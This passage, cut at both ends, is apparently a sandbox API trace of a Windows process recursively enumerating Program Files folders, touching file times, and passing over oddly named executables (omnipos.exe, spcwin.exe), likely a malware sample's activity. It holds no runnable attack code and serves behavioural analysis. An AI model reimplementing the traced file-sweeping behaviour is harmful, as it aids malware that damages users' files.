BaseAddress=0x94f2e0) returned 1 [0080.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.397] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0080.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.397] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Portable Devices" (normalized: "c:\\program files\\windows portable devices"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.397] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices" (normalized: "c:\\program files\\windows portable devices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0080.398] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.398] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.398] NtClose (Handle=0x17c) returned 0x0 [0080.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.399] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9180 [0080.399] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53701cb0, ftCreationTime.dwHighDateTime=0x1d58e28, ftLastAccessTime.dwLowDateTime=0x73a45150, ftLastAccessTime.dwHighDateTime=0x1d583dc, ftLastWriteTime.dwLowDateTime=0x73a45150, ftLastWriteTime.dwHighDateTime=0x1d583dc, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="omnipos.exe", cAlternateFileName="")) returned 1 [0080.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.400] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0080.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.400] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0080.400] GetLastError () returned 0x12 [0080.401] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0080.401] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0080.401] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.401] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53701cb0, ftCreationTime.dwHighDateTime=0x1d58e28, ftLastAccessTime.dwLowDateTime=0x73a45150, ftLastAccessTime.dwHighDateTime=0x1d583dc, ftLastWriteTime.dwLowDateTime=0x73a45150, ftLastWriteTime.dwHighDateTime=0x1d583dc, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="omnipos.exe", cAlternateFileName="")) returned 1 [0080.401] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0080.401] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0080.401] GetLastError () returned 0x12 [0080.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.401] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.401] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0080.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar" (normalized: "c:\\program files\\windows sidebar"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0080.402] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar" (normalized: "c:\\program files\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.402] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.402] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.402] NtClose (Handle=0x164) returned 0x0 [0080.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.403] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0080.403] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8b118c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7d8b118c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x43f45420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1 [0080.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.404] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80497579, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf43439, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf43439, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0080.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f48f0 [0080.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fcfa0 [0080.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="")) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa896430f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa896430f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa898a46f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0080.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.406] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b9ce920, ftCreationTime.dwHighDateTime=0x1d59b20, ftLastAccessTime.dwLowDateTime=0xcf4818b0, ftLastAccessTime.dwHighDateTime=0x1d548a5, ftLastWriteTime.dwLowDateTime=0xcf4818b0, ftLastWriteTime.dwHighDateTime=0x1d548a5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0080.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.407] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 1 [0080.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 0 [0080.408] GetLastError () returned 0x12 [0080.408] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9180 [0080.408] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0143870, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0143870, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.408] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US" (normalized: "c:\\program files\\windows sidebar\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.409] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US" (normalized: "c:\\program files\\windows sidebar\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0080.409] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0080.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.409] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0080.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.409] NtClose (Handle=0x164) returned 0x0 [0080.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe0a0 [0080.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fde80 [0080.410] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0080.410] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.410] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0080.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4910 [0080.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe2c0 [0080.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.411] FindNextFileW (in: 